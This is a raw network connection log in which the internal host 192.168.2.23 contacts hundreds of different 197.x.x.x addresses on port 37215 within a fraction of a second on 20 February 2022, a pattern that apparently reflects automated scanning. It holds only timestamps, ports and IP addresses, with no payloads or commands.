Feb 20, 2022 15:50:56.601532936 CET	1898	37215	192.168.2.23	197.83.202.7
Feb 20, 2022 15:50:56.601535082 CET	1898	37215	192.168.2.23	197.224.182.195
Feb 20, 2022 15:50:56.601547003 CET	1386	37215	192.168.2.23	197.242.50.75
Feb 20, 2022 15:50:56.601572990 CET	1386	37215	192.168.2.23	197.134.29.247
Feb 20, 2022 15:50:56.601574898 CET	1386	37215	192.168.2.23	197.235.219.225
Feb 20, 2022 15:50:56.601591110 CET	1898	37215	192.168.2.23	197.184.239.35
Feb 20, 2022 15:50:56.601613045 CET	1386	37215	192.168.2.23	197.212.177.31
Feb 20, 2022 15:50:56.601624966 CET	1386	37215	192.168.2.23	197.107.91.47
Feb 20, 2022 15:50:56.601629019 CET	1898	37215	192.168.2.23	197.55.146.213
Feb 20, 2022 15:50:56.601644039 CET	1386	37215	192.168.2.23	197.104.193.173
Feb 20, 2022 15:50:56.601667881 CET	1386	37215	192.168.2.23	197.182.207.73
Feb 20, 2022 15:50:56.601680994 CET	1386	37215	192.168.2.23	197.124.109.55
Feb 20, 2022 15:50:56.601705074 CET	1898	37215	192.168.2.23	197.78.22.155
Feb 20, 2022 15:50:56.601712942 CET	1898	37215	192.168.2.23	197.199.54.238
Feb 20, 2022 15:50:56.601727009 CET	1386	37215	192.168.2.23	197.45.40.42
Feb 20, 2022 15:50:56.601742983 CET	1898	37215	192.168.2.23	197.207.173.13
Feb 20, 2022 15:50:56.601744890 CET	1386	37215	192.168.2.23	197.13.140.133
Feb 20, 2022 15:50:56.601767063 CET	1386	37215	192.168.2.23	197.213.10.190
Feb 20, 2022 15:50:56.601774931 CET	1386	37215	192.168.2.23	197.59.117.95
Feb 20, 2022 15:50:56.601777077 CET	1898	37215	192.168.2.23	197.18.180.44
Feb 20, 2022 15:50:56.601794958 CET	1898	37215	192.168.2.23	197.144.141.109
Feb 20, 2022 15:50:56.601816893 CET	1386	37215	192.168.2.23	197.242.19.101
Feb 20, 2022 15:50:56.601819992 CET	1898	37215	192.168.2.23	197.204.15.160
Feb 20, 2022 15:50:56.601829052 CET	1386	37215	192.168.2.23	197.118.244.98
Feb 20, 2022 15:50:56.601838112 CET	1386	37215	192.168.2.23	197.63.39.118
Feb 20, 2022 15:50:56.601852894 CET	1898	37215	192.168.2.23	197.242.50.98
Feb 20, 2022 15:50:56.601881981 CET	1386	37215	192.168.2.23	197.222.105.199
Feb 20, 2022 15:50:56.601887941 CET	1386	37215	192.168.2.23	197.2.226.247
Feb 20, 2022 15:50:56.601891994 CET	1898	37215	192.168.2.23	197.196.139.172
Feb 20, 2022 15:50:56.601896048 CET	1386	37215	192.168.2.23	197.22.97.34
Feb 20, 2022 15:50:56.601907015 CET	1898	37215	192.168.2.23	197.123.45.206
Feb 20, 2022 15:50:56.601932049 CET	1386	37215	192.168.2.23	197.244.240.232
Feb 20, 2022 15:50:56.601942062 CET	1386	37215	192.168.2.23	197.54.104.182
Feb 20, 2022 15:50:56.601970911 CET	1386	37215	192.168.2.23	197.11.236.152
Feb 20, 2022 15:50:56.601983070 CET	1898	37215	192.168.2.23	197.62.71.226
Feb 20, 2022 15:50:56.601985931 CET	1386	37215	192.168.2.23	197.145.71.93
Feb 20, 2022 15:50:56.601993084 CET	1898	37215	192.168.2.23	197.98.163.184
Feb 20, 2022 15:50:56.602014065 CET	1386	37215	192.168.2.23	197.160.58.214
Feb 20, 2022 15:50:56.602022886 CET	1898	37215	192.168.2.23	197.195.19.230
Feb 20, 2022 15:50:56.602029085 CET	1898	37215	192.168.2.23	197.238.22.223
Feb 20, 2022 15:50:56.602041006 CET	1386	37215	192.168.2.23	197.91.70.111
Feb 20, 2022 15:50:56.602052927 CET	1386	37215	192.168.2.23	197.104.1.218
Feb 20, 2022 15:50:56.602077007 CET	1898	37215	192.168.2.23	197.223.173.215
Feb 20, 2022 15:50:56.602085114 CET	1386	37215	192.168.2.23	197.18.134.209
Feb 20, 2022 15:50:56.602097034 CET	1386	37215	192.168.2.23	197.188.252.63
Feb 20, 2022 15:50:56.602118015 CET	1898	37215	192.168.2.23	197.210.179.95
Feb 20, 2022 15:50:56.602195978 CET	1898	37215	192.168.2.23	197.78.207.169
Feb 20, 2022 15:50:56.602200031 CET	1386	37215	192.168.2.23	197.136.90.117
Feb 20, 2022 15:50:56.602216005 CET	1898	37215	192.168.2.23	197.81.173.137
Feb 20, 2022 15:50:56.602222919 CET	1386	37215	192.168.2.23	197.194.229.124
Feb 20, 2022 15:50:56.602229118 CET	1386	37215	192.168.2.23	197.164.191.49
Feb 20, 2022 15:50:56.602253914 CET	1386	37215	192.168.2.23	197.227.34.187
Feb 20, 2022 15:50:56.602272987 CET	1386	37215	192.168.2.23	197.181.45.246
Feb 20, 2022 15:50:56.602297068 CET	1898	37215	192.168.2.23	197.132.90.122
Feb 20, 2022 15:50:56.602300882 CET	1386	37215	192.168.2.23	197.9.65.156
Feb 20, 2022 15:50:56.602344990 CET	1386	37215	192.168.2.23	197.5.215.227
Feb 20, 2022 15:50:56.602348089 CET	1386	37215	192.168.2.23	197.118.164.229
Feb 20, 2022 15:50:56.602351904 CET	1898	37215	192.168.2.23	197.174.168.132
Feb 20, 2022 15:50:56.602360964 CET	1386	37215	192.168.2.23	197.212.237.151
Feb 20, 2022 15:50:56.602376938 CET	1386	37215	192.168.2.23	197.69.189.255
Feb 20, 2022 15:50:56.602405071 CET	1386	37215	192.168.2.23	197.66.57.175
Feb 20, 2022 15:50:56.602422953 CET	1898	37215	192.168.2.23	197.75.19.61
Feb 20, 2022 15:50:56.602441072 CET	1386	37215	192.168.2.23	197.51.212.198
Feb 20, 2022 15:50:56.602467060 CET	1386	37215	192.168.2.23	197.130.101.186
Feb 20, 2022 15:50:56.602484941 CET	1386	37215	192.168.2.23	197.236.39.170
Feb 20, 2022 15:50:56.602502108 CET	1386	37215	192.168.2.23	197.105.40.186
Feb 20, 2022 15:50:56.602515936 CET	1898	37215	192.168.2.23	197.217.128.230
Feb 20, 2022 15:50:56.602521896 CET	1386	37215	192.168.2.23	197.150.139.133
Feb 20, 2022 15:50:56.602540970 CET	1898	37215	192.168.2.23	197.101.186.249
Feb 20, 2022 15:50:56.602560997 CET	1386	37215	192.168.2.23	197.252.113.49
Feb 20, 2022 15:50:56.602580070 CET	1898	37215	192.168.2.23	197.65.187.219
Feb 20, 2022 15:50:56.602593899 CET	1386	37215	192.168.2.23	197.245.108.47
Feb 20, 2022 15:50:56.602608919 CET	1898	37215	192.168.2.23	197.248.12.11
Feb 20, 2022 15:50:56.602646112 CET	1386	37215	192.168.2.23	197.76.7.28
Feb 20, 2022 15:50:56.602652073 CET	1898	37215	192.168.2.23	197.180.53.164
Feb 20, 2022 15:50:56.602659941 CET	1386	37215	192.168.2.23	197.152.243.231
Feb 20, 2022 15:50:56.602669001 CET	1386	37215	192.168.2.23	197.211.20.38
Feb 20, 2022 15:50:56.602693081 CET	1386	37215	192.168.2.23	197.173.81.35
Feb 20, 2022 15:50:56.602713108 CET	1386	37215	192.168.2.23	197.143.229.59
Feb 20, 2022 15:50:56.602732897 CET	1898	37215	192.168.2.23	197.222.250.122
Feb 20, 2022 15:50:56.602737904 CET	1386	37215	192.168.2.23	197.170.23.6
Feb 20, 2022 15:50:56.602751970 CET	1386	37215	192.168.2.23	197.235.252.202
Feb 20, 2022 15:50:56.602760077 CET	1898	37215	192.168.2.23	197.60.169.246
Feb 20, 2022 15:50:56.602787971 CET	1898	37215	192.168.2.23	197.168.21.168
Feb 20, 2022 15:50:56.602791071 CET	1386	37215	192.168.2.23	197.19.116.198
Feb 20, 2022 15:50:56.602808952 CET	1386	37215	192.168.2.23	197.250.112.167
Feb 20, 2022 15:50:56.602818966 CET	1898	37215	192.168.2.23	197.111.147.77
Feb 20, 2022 15:50:56.602837086 CET	1386	37215	192.168.2.23	197.17.0.193
Feb 20, 2022 15:50:56.602838993 CET	1898	37215	192.168.2.23	197.214.205.237
Feb 20, 2022 15:50:56.602854013 CET	1386	37215	192.168.2.23	197.146.91.175
Feb 20, 2022 15:50:56.602886915 CET	1898	37215	192.168.2.23	197.160.172.202
Feb 20, 2022 15:50:56.602895021 CET	1386	37215	192.168.2.23	197.139.191.183
Feb 20, 2022 15:50:56.602927923 CET	1386	37215	192.168.2.23	197.44.133.163
Feb 20, 2022 15:50:56.602937937 CET	1386	37215	192.168.2.23	197.8.191.10
Feb 20, 2022 15:50:56.602946997 CET	1898	37215	192.168.2.23	197.187.131.123
Feb 20, 2022 15:50:56.602978945 CET	1386	37215	192.168.2.23	197.213.75.184
Feb 20, 2022 15:50:56.602979898 CET	1386	37215	192.168.2.23	197.83.170.168
Feb 20, 2022 15:50:56.602991104 CET	1898	37215	192.168.2.23	197.69.30.6
Feb 20, 2022 15:50:56.603001118 CET	1386	37215	192.168.2.23	197.152.59.105
Feb 20, 2022 15:50:56.603015900 CET	1386	37215	192.168.2.23	197.184.25.218
Feb 20, 2022 15:50:56.603018045 CET	1898	37215	192.168.2.23	197.205.123.72
Feb 20, 2022 15:50:56.603035927 CET	1386	37215	192.168.2.23	197.202.113.90
Feb 20, 2022 15:50:56.603039980 CET	1898	37215	192.168.2.23	197.88.27.146
Feb 20, 2022 15:50:56.603065014 CET	1386	37215	192.168.2.23	197.251.49.177
Feb 20, 2022 15:50:56.603071928 CET	1898	37215	192.168.2.23	197.132.192.32
Feb 20, 2022 15:50:56.603082895 CET	1386	37215	192.168.2.23	197.213.74.96
Feb 20, 2022 15:50:56.603085995 CET	1898	37215	192.168.2.23	197.104.197.151
Feb 20, 2022 15:50:56.603100061 CET	1386	37215	192.168.2.23	197.234.203.24
Feb 20, 2022 15:50:56.603128910 CET	1386	37215	192.168.2.23	197.197.239.79
Feb 20, 2022 15:50:56.603135109 CET	1898	37215	192.168.2.23	197.165.238.104
Feb 20, 2022 15:50:56.603147984 CET	1898	37215	192.168.2.23	197.236.108.166
Feb 20, 2022 15:50:56.603157997 CET	1386	37215	192.168.2.23	197.85.207.241
Feb 20, 2022 15:50:56.603190899 CET	1898	37215	192.168.2.23	197.10.71.141
Feb 20, 2022 15:50:56.603208065 CET	1898	37215	192.168.2.23	197.169.188.253
Feb 20, 2022 15:50:56.603228092 CET	1898	37215	192.168.2.23	197.7.44.12
Feb 20, 2022 15:50:56.604252100 CET	1898	37215	192.168.2.23	197.22.244.164
Feb 20, 2022 15:50:56.604326963 CET	1898	37215	192.168.2.23	197.47.98.0
Feb 20, 2022 15:50:56.604367971 CET	1898	37215	192.168.2.23	197.149.37.104
Feb 20, 2022 15:50:56.604396105 CET	1898	37215	192.168.2.23	197.16.69.228
Feb 20, 2022 15:50:56.604450941 CET	1898	37215	192.168.2.23	197.61.255.244
Feb 20, 2022 15:50:56.604466915 CET	1898	37215	192.168.2.23	197.117.32.168
Feb 20, 2022 15:50:56.604504108 CET	1898	37215	192.168.2.23	197.64.81.186
Feb 20, 2022 15:50:56.604566097 CET	1898	37215	192.168.2.23	197.217.86.16
Feb 20, 2022 15:50:56.604581118 CET	1898	37215	192.168.2.23	197.140.118.228
Feb 20, 2022 15:50:56.604636908 CET	1898	37215	192.168.2.23	197.196.49.91
Feb 20, 2022 15:50:56.604659081 CET	1898	37215	192.168.2.23	197.196.182.74
Feb 20, 2022 15:50:56.604681969 CET	1898	37215	192.168.2.23	197.147.169.12
Feb 20, 2022 15:50:56.604732990 CET	1898	37215	192.168.2.23	197.58.133.83
Feb 20, 2022 15:50:56.604749918 CET	1898	37215	192.168.2.23	197.20.69.173
Feb 20, 2022 15:50:56.604779959 CET	1898	37215	192.168.2.23	197.227.184.50
Feb 20, 2022 15:50:56.604832888 CET	1898	37215	192.168.2.23	197.117.189.255
Feb 20, 2022 15:50:56.604868889 CET	1898	37215	192.168.2.23	197.107.34.198
Feb 20, 2022 15:50:56.604918957 CET	1898	37215	192.168.2.23	197.122.50.83
Feb 20, 2022 15:50:56.604971886 CET	1898	37215	192.168.2.23	197.19.148.32
Feb 20, 2022 15:50:56.605009079 CET	1898	37215	192.168.2.23	197.136.142.10
Feb 20, 2022 15:50:56.605031013 CET	1898	37215	192.168.2.23	197.62.50.170
Feb 20, 2022 15:50:56.605060101 CET	1898	37215	192.168.2.23	197.225.77.102
Feb 20, 2022 15:50:56.605112076 CET	1898	37215	192.168.2.23	197.183.243.175
Feb 20, 2022 15:50:56.605144978 CET	1898	37215	192.168.2.23	197.230.83.125
Feb 20, 2022 15:50:56.605191946 CET	1898	37215	192.168.2.23	197.112.43.157
Feb 20, 2022 15:50:56.605214119 CET	1898	37215	192.168.2.23	197.207.216.250
Feb 20, 2022 15:50:56.605233908 CET	1898	37215	192.168.2.23	197.220.86.33
Feb 20, 2022 15:50:56.605299950 CET	1898	37215	192.168.2.23	197.148.14.197
Feb 20, 2022 15:50:56.605348110 CET	1898	37215	192.168.2.23	197.185.55.105
Feb 20, 2022 15:50:56.605402946 CET	1898	37215	192.168.2.23	197.25.115.152
Feb 20, 2022 15:50:56.605428934 CET	1898	37215	192.168.2.23	197.15.166.23
Feb 20, 2022 15:50:56.605480909 CET	1898	37215	192.168.2.23	197.28.76.80
Feb 20, 2022 15:50:56.605500937 CET	1898	37215	192.168.2.23	197.245.95.225
Feb 20, 2022 15:50:56.605523109 CET	1898	37215	192.168.2.23	197.156.121.35
Feb 20, 2022 15:50:56.605570078 CET	1898	37215	192.168.2.23	197.63.103.209
Feb 20, 2022 15:50:56.605603933 CET	1898	37215	192.168.2.23	197.146.253.19
Feb 20, 2022 15:50:56.605662107 CET	1898	37215	192.168.2.23	197.142.154.68
Feb 20, 2022 15:50:56.605681896 CET	1898	37215	192.168.2.23	197.88.163.13
Feb 20, 2022 15:50:56.605714083 CET	1898	37215	192.168.2.23	197.45.108.74
Feb 20, 2022 15:50:56.605758905 CET	1898	37215	192.168.2.23	197.203.216.22
Feb 20, 2022 15:50:56.605782986 CET	1898	37215	192.168.2.23	197.87.31.95
Feb 20, 2022 15:50:56.605812073 CET	1898	37215	192.168.2.23	197.151.198.217
Feb 20, 2022 15:50:56.605865002 CET	1898	37215	192.168.2.23	197.248.198.151
Feb 20, 2022 15:50:56.605890989 CET	1898	37215	192.168.2.23	197.74.83.229
Feb 20, 2022 15:50:56.605916023 CET	1898	37215	192.168.2.23	197.109.83.78
Feb 20, 2022 15:50:56.605935097 CET	1898	37215	192.168.2.23	197.14.118.25
Feb 20, 2022 15:50:56.605992079 CET	1898	37215	192.168.2.23	197.76.94.168
Feb 20, 2022 15:50:56.606014013 CET	1898	37215	192.168.2.23	197.16.147.34
Feb 20, 2022 15:50:56.606080055 CET	1898	37215	192.168.2.23	197.149.148.190
Feb 20, 2022 15:50:56.606101036 CET	1898	37215	192.168.2.23	197.187.33.121
Feb 20, 2022 15:50:56.606125116 CET	1898	37215	192.168.2.23	197.65.10.26
Feb 20, 2022 15:50:56.606175900 CET	1898	37215	192.168.2.23	197.59.202.227
Feb 20, 2022 15:50:56.606203079 CET	1898	37215	192.168.2.23	197.92.15.228
Feb 20, 2022 15:50:56.606220007 CET	1898	37215	192.168.2.23	197.166.222.210
Feb 20, 2022 15:50:56.606240988 CET	1898	37215	192.168.2.23	197.103.56.251
Feb 20, 2022 15:50:56.607492924 CET	1898	37215	192.168.2.23	197.125.194.76
Feb 20, 2022 15:50:56.607522011 CET	1898	37215	192.168.2.23	197.250.95.68
Feb 20, 2022 15:50:56.607584953 CET	1898	37215	192.168.2.23	197.103.21.40
Feb 20, 2022 15:50:56.607598066 CET	1898	37215	192.168.2.23	197.2.145.241
Feb 20, 2022 15:50:56.607611895 CET	1898	37215	192.168.2.23	197.121.221.25
Feb 20, 2022 15:50:56.607688904 CET	1898	37215	192.168.2.23	197.139.84.34
Feb 20, 2022 15:50:56.607700109 CET	1898	37215	192.168.2.23	197.214.2.248
Feb 20, 2022 15:50:56.607727051 CET	1898	37215	192.168.2.23	197.97.132.126
Feb 20, 2022 15:50:56.607826948 CET	1898	37215	192.168.2.23	197.42.31.118
Feb 20, 2022 15:50:56.607826948 CET	1898	37215	192.168.2.23	197.175.131.182
Feb 20, 2022 15:50:56.607892036 CET	1898	37215	192.168.2.23	197.6.48.102
Feb 20, 2022 15:50:56.607908010 CET	1898	37215	192.168.2.23	197.190.179.190
Feb 20, 2022 15:50:56.607933044 CET	1898	37215	192.168.2.23	197.241.226.172
Feb 20, 2022 15:50:56.607985973 CET	1898	37215	192.168.2.23	197.124.182.35
Feb 20, 2022 15:50:56.608006001 CET	1898	37215	192.168.2.23	197.205.124.234
Feb 20, 2022 15:50:56.608077049 CET	1898	37215	192.168.2.23	197.142.213.203
Feb 20, 2022 15:50:56.608089924 CET	1898	37215	192.168.2.23	197.98.61.249
Feb 20, 2022 15:50:56.608385086 CET	1898	37215	192.168.2.23	197.75.146.118
Feb 20, 2022 15:50:56.608385086 CET	1386	37215	192.168.2.23	197.255.11.99
Feb 20, 2022 15:50:56.608392000 CET	1898	37215	192.168.2.23	197.80.130.242
Feb 20, 2022 15:50:56.608402014 CET	1386	37215	192.168.2.23	197.71.249.68
Feb 20, 2022 15:50:56.608406067 CET	1386	37215	192.168.2.23	197.29.74.226
Feb 20, 2022 15:50:56.608427048 CET	1898	37215	192.168.2.23	197.223.123.159
Feb 20, 2022 15:50:56.608460903 CET	1386	37215	192.168.2.23	197.112.196.178
Feb 20, 2022 15:50:56.608465910 CET	1386	37215	192.168.2.23	197.94.208.218
Feb 20, 2022 15:50:56.608472109 CET	1386	37215	192.168.2.23	197.12.20.38
Feb 20, 2022 15:50:56.608478069 CET	1898	37215	192.168.2.23	197.42.85.252
Feb 20, 2022 15:50:56.608481884 CET	1898	37215	192.168.2.23	197.2.228.20
Feb 20, 2022 15:50:56.608484983 CET	1898	37215	192.168.2.23	197.212.1.147
Feb 20, 2022 15:50:56.608486891 CET	1386	37215	192.168.2.23	197.119.16.47
Feb 20, 2022 15:50:56.608488083 CET	1898	37215	192.168.2.23	197.186.227.34
Feb 20, 2022 15:50:56.608489990 CET	1386	37215	192.168.2.23	197.79.255.146
Feb 20, 2022 15:50:56.608499050 CET	1386	37215	192.168.2.23	197.19.15.219
Feb 20, 2022 15:50:56.608556986 CET	1898	37215	192.168.2.23	197.149.253.66
Feb 20, 2022 15:50:56.608644009 CET	1386	37215	192.168.2.23	197.238.32.148
Feb 20, 2022 15:50:56.608647108 CET	1898	37215	192.168.2.23	197.159.88.56
Feb 20, 2022 15:50:56.608649969 CET	1898	37215	192.168.2.23	197.126.242.233
Feb 20, 2022 15:50:56.608659029 CET	1898	37215	192.168.2.23	197.142.181.145
Feb 20, 2022 15:50:56.608661890 CET	1898	37215	192.168.2.23	197.81.61.239
Feb 20, 2022 15:50:56.608676910 CET	1898	37215	192.168.2.23	197.136.91.159
Feb 20, 2022 15:50:56.608715057 CET	1386	37215	192.168.2.23	197.192.211.148
Feb 20, 2022 15:50:56.608733892 CET	1898	37215	192.168.2.23	197.33.24.179
Feb 20, 2022 15:50:56.608735085 CET	1898	37215	192.168.2.23	197.165.146.50
Feb 20, 2022 15:50:56.608743906 CET	1386	37215	192.168.2.23	197.107.222.49
Feb 20, 2022 15:50:56.608752966 CET	1386	37215	192.168.2.23	197.208.129.138
Feb 20, 2022 15:50:56.608766079 CET	1386	37215	192.168.2.23	197.102.243.93
Feb 20, 2022 15:50:56.608771086 CET	1898	37215	192.168.2.23	197.220.204.67
Feb 20, 2022 15:50:56.608784914 CET	1386	37215	192.168.2.23	197.180.25.61
Feb 20, 2022 15:50:56.608820915 CET	1386	37215	192.168.2.23	197.90.49.147
Feb 20, 2022 15:50:56.608823061 CET	1386	37215	192.168.2.23	197.254.0.9
Feb 20, 2022 15:50:56.608833075 CET	1386	37215	192.168.2.23	197.20.246.160
Feb 20, 2022 15:50:56.608834982 CET	1898	37215	192.168.2.23	197.98.127.221
Feb 20, 2022 15:50:56.608835936 CET	1386	37215	192.168.2.23	197.111.124.65
Feb 20, 2022 15:50:56.608895063 CET	1898	37215	192.168.2.23	197.195.83.218
Feb 20, 2022 15:50:56.608900070 CET	1898	37215	192.168.2.23	197.171.180.169
Feb 20, 2022 15:50:56.608910084 CET	1898	37215	192.168.2.23	197.49.148.216
Feb 20, 2022 15:50:56.608911037 CET	1386	37215	192.168.2.23	197.7.193.66
Feb 20, 2022 15:50:56.608911037 CET	1386	37215	192.168.2.23	197.162.123.166
Feb 20, 2022 15:50:56.608925104 CET	1898	37215	192.168.2.23	197.128.138.234
Feb 20, 2022 15:50:56.608983040 CET	1386	37215	192.168.2.23	197.49.67.113
Feb 20, 2022 15:50:56.608989954 CET	1898	37215	192.168.2.23	197.68.58.129
Feb 20, 2022 15:50:56.608994007 CET	1386	37215	192.168.2.23	197.201.254.197
Feb 20, 2022 15:50:56.608995914 CET	1898	37215	192.168.2.23	197.201.139.234
Feb 20, 2022 15:50:56.609005928 CET	1898	37215	192.168.2.23	197.112.34.193
Feb 20, 2022 15:50:56.609168053 CET	1898	37215	192.168.2.23	197.139.108.187
Feb 20, 2022 15:50:56.609170914 CET	1898	37215	192.168.2.23	197.245.136.195
Feb 20, 2022 15:50:56.609189987 CET	1898	37215	192.168.2.23	197.151.168.208
Feb 20, 2022 15:50:56.609193087 CET	1386	37215	192.168.2.23	197.170.167.39
Feb 20, 2022 15:50:56.609214067 CET	1898	37215	192.168.2.23	197.38.82.100
Feb 20, 2022 15:50:56.609215021 CET	1386	37215	192.168.2.23	197.79.15.93
Feb 20, 2022 15:50:56.609246016 CET	1386	37215	192.168.2.23	197.166.116.141
Feb 20, 2022 15:50:56.609256029 CET	1898	37215	192.168.2.23	197.88.118.151
Feb 20, 2022 15:50:56.609258890 CET	1898	37215	192.168.2.23	197.131.136.255
Feb 20, 2022 15:50:56.609263897 CET	1386	37215	192.168.2.23	197.3.185.144
Feb 20, 2022 15:50:56.609280109 CET	1898	37215	192.168.2.23	197.195.210.74
Feb 20, 2022 15:50:56.609330893 CET	1386	37215	192.168.2.23	197.46.94.214
Feb 20, 2022 15:50:56.609335899 CET	1898	37215	192.168.2.23	197.43.241.250
Feb 20, 2022 15:50:56.609355927 CET	1386	37215	192.168.2.23	197.153.157.67
Feb 20, 2022 15:50:56.609365940 CET	1898	37215	192.168.2.23	197.36.119.130
Feb 20, 2022 15:50:56.609400034 CET	1386	37215	192.168.2.23	197.223.149.61
Feb 20, 2022 15:50:56.609415054 CET	1898	37215	192.168.2.23	197.111.200.15
Feb 20, 2022 15:50:56.609421015 CET	1898	37215	192.168.2.23	197.34.144.215
Feb 20, 2022 15:50:56.609422922 CET	1386	37215	192.168.2.23	197.231.178.188
Feb 20, 2022 15:50:56.609428883 CET	1898	37215	192.168.2.23	197.55.137.172
Feb 20, 2022 15:50:56.609428883 CET	1898	37215	192.168.2.23	197.36.162.94
Feb 20, 2022 15:50:56.609430075 CET	1386	37215	192.168.2.23	197.17.207.195
Feb 20, 2022 15:50:56.609427929 CET	1386	37215	192.168.2.23	197.62.152.195
Feb 20, 2022 15:50:56.609436035 CET	1386	37215	192.168.2.23	197.170.101.253
Feb 20, 2022 15:50:56.609450102 CET	1386	37215	192.168.2.23	197.218.59.184
Feb 20, 2022 15:50:56.609453917 CET	1898	37215	192.168.2.23	197.204.173.198
Feb 20, 2022 15:50:56.609464884 CET	1386	37215	192.168.2.23	197.100.75.149
Feb 20, 2022 15:50:56.609524965 CET	1898	37215	192.168.2.23	197.48.108.208
Feb 20, 2022 15:50:56.609528065 CET	1386	37215	192.168.2.23	197.236.224.29
Feb 20, 2022 15:50:56.609529018 CET	1386	37215	192.168.2.23	197.55.3.67
Feb 20, 2022 15:50:56.609596968 CET	1386	37215	192.168.2.23	197.22.98.170
Feb 20, 2022 15:50:56.609599113 CET	1898	37215	192.168.2.23	197.185.27.70
Feb 20, 2022 15:50:56.609606981 CET	1386	37215	192.168.2.23	197.57.213.244
Feb 20, 2022 15:50:56.609608889 CET	1898	37215	192.168.2.23	197.217.187.21
Feb 20, 2022 15:50:56.609616041 CET	1898	37215	192.168.2.23	197.157.192.147
Feb 20, 2022 15:50:56.609621048 CET	1898	37215	192.168.2.23	197.130.152.33
Feb 20, 2022 15:50:56.609625101 CET	1386	37215	192.168.2.23	197.118.143.141
Feb 20, 2022 15:50:56.609632015 CET	1386	37215	192.168.2.23	197.53.6.31
Feb 20, 2022 15:50:56.609632969 CET	1898	37215	192.168.2.23	197.108.142.106
Feb 20, 2022 15:50:56.609672070 CET	1386	37215	192.168.2.23	197.53.254.119
Feb 20, 2022 15:50:56.609675884 CET	1898	37215	192.168.2.23	197.253.247.194
Feb 20, 2022 15:50:56.609678984 CET	1898	37215	192.168.2.23	197.141.105.180
Feb 20, 2022 15:50:56.609683990 CET	1898	37215	192.168.2.23	197.164.122.112
Feb 20, 2022 15:50:56.609695911 CET	1898	37215	192.168.2.23	197.75.128.190
Feb 20, 2022 15:50:56.609755039 CET	1898	37215	192.168.2.23	197.28.1.240
Feb 20, 2022 15:50:56.609761000 CET	1898	37215	192.168.2.23	197.85.93.141
Feb 20, 2022 15:50:56.609832048 CET	1898	37215	192.168.2.23	197.205.188.176
Feb 20, 2022 15:50:56.609848976 CET	1386	37215	192.168.2.23	197.27.157.127
Feb 20, 2022 15:50:56.609850883 CET	1898	37215	192.168.2.23	197.129.175.212
Feb 20, 2022 15:50:56.609854937 CET	1898	37215	192.168.2.23	197.207.43.15
Feb 20, 2022 15:50:56.609858036 CET	1386	37215	192.168.2.23	197.18.254.237
Feb 20, 2022 15:50:56.609863043 CET	1898	37215	192.168.2.23	197.238.101.24
Feb 20, 2022 15:50:56.609864950 CET	1386	37215	192.168.2.23	197.169.136.235
Feb 20, 2022 15:50:56.609869003 CET	1386	37215	192.168.2.23	197.90.24.252
Feb 20, 2022 15:50:56.609875917 CET	1898	37215	192.168.2.23	197.59.79.217
Feb 20, 2022 15:50:56.609875917 CET	1898	37215	192.168.2.23	197.52.43.179
Feb 20, 2022 15:50:56.609880924 CET	1386	37215	192.168.2.23	197.213.224.206
Feb 20, 2022 15:50:56.609931946 CET	1898	37215	192.168.2.23	197.196.13.0
Feb 20, 2022 15:50:56.609940052 CET	1386	37215	192.168.2.23	197.204.15.58
Feb 20, 2022 15:50:56.609944105 CET	1386	37215	192.168.2.23	197.27.3.141
Feb 20, 2022 15:50:56.609946012 CET	1898	37215	192.168.2.23	197.209.214.224
Feb 20, 2022 15:50:56.609958887 CET	1386	37215	192.168.2.23	197.251.201.164
Feb 20, 2022 15:50:56.610011101 CET	1898	37215	192.168.2.23	197.230.184.239
Feb 20, 2022 15:50:56.610018969 CET	1386	37215	192.168.2.23	197.198.10.70
Feb 20, 2022 15:50:56.610023975 CET	1898	37215	192.168.2.23	197.105.184.152
Feb 20, 2022 15:50:56.610027075 CET	1386	37215	192.168.2.23	197.75.141.103
Feb 20, 2022 15:50:56.610035896 CET	1898	37215	192.168.2.23	197.41.78.231
Feb 20, 2022 15:50:56.610043049 CET	1898	37215	192.168.2.23	197.80.83.228
Feb 20, 2022 15:50:56.610044956 CET	1386	37215	192.168.2.23	197.106.104.64
Feb 20, 2022 15:50:56.610045910 CET	1386	37215	192.168.2.23	197.11.53.105
Feb 20, 2022 15:50:56.610053062 CET	1386	37215	192.168.2.23	197.26.237.153
Feb 20, 2022 15:50:56.610054016 CET	1386	37215	192.168.2.23	197.177.205.149
Feb 20, 2022 15:50:56.610054970 CET	1898	37215	192.168.2.23	197.199.203.189
Feb 20, 2022 15:50:56.610063076 CET	1898	37215	192.168.2.23	197.140.8.179
Feb 20, 2022 15:50:56.610064030 CET	1386	37215	192.168.2.23	197.157.20.63
Feb 20, 2022 15:50:56.610177994 CET	1386	37215	192.168.2.23	197.244.253.248
Feb 20, 2022 15:50:56.610182047 CET	1386	37215	192.168.2.23	197.198.58.54
Feb 20, 2022 15:50:56.610183954 CET	1898	37215	192.168.2.23	197.52.255.136
Feb 20, 2022 15:50:56.610203028 CET	1898	37215	192.168.2.23	197.118.62.224
Feb 20, 2022 15:50:56.610204935 CET	1898	37215	192.168.2.23	197.237.126.250
Feb 20, 2022 15:50:56.610204935 CET	1898	37215	192.168.2.23	197.85.29.155
Feb 20, 2022 15:50:56.610205889 CET	1386	37215	192.168.2.23	197.152.52.117
Feb 20, 2022 15:50:56.610205889 CET	1386	37215	192.168.2.23	197.231.30.89
Feb 20, 2022 15:50:56.610219002 CET	1898	37215	192.168.2.23	197.88.48.161
Feb 20, 2022 15:50:56.610222101 CET	1386	37215	192.168.2.23	197.207.150.251
Feb 20, 2022 15:50:56.610229015 CET	1386	37215	192.168.2.23	197.246.201.77
Feb 20, 2022 15:50:56.610235929 CET	1386	37215	192.168.2.23	197.237.98.48
Feb 20, 2022 15:50:56.610244989 CET	1898	37215	192.168.2.23	197.203.224.115
Feb 20, 2022 15:50:56.610250950 CET	1386	37215	192.168.2.23	197.164.211.174
Feb 20, 2022 15:50:56.610265017 CET	1898	37215	192.168.2.23	197.186.133.106
Feb 20, 2022 15:50:56.610266924 CET	1898	37215	192.168.2.23	197.183.82.132
Feb 20, 2022 15:50:56.610272884 CET	1386	37215	192.168.2.23	197.51.170.251
Feb 20, 2022 15:50:56.610275030 CET	1898	37215	192.168.2.23	197.161.137.75
Feb 20, 2022 15:50:56.610279083 CET	1898	37215	192.168.2.23	197.31.13.72
Feb 20, 2022 15:50:56.610419989 CET	1898	37215	192.168.2.23	197.226.235.253
Feb 20, 2022 15:50:56.610430002 CET	1898	37215	192.168.2.23	197.241.151.179
Feb 20, 2022 15:50:56.610430956 CET	1898	37215	192.168.2.23	197.103.27.227
Feb 20, 2022 15:50:56.610443115 CET	1898	37215	192.168.2.23	197.115.158.44
Feb 20, 2022 15:50:56.610495090 CET	1898	37215	192.168.2.23	197.7.165.249
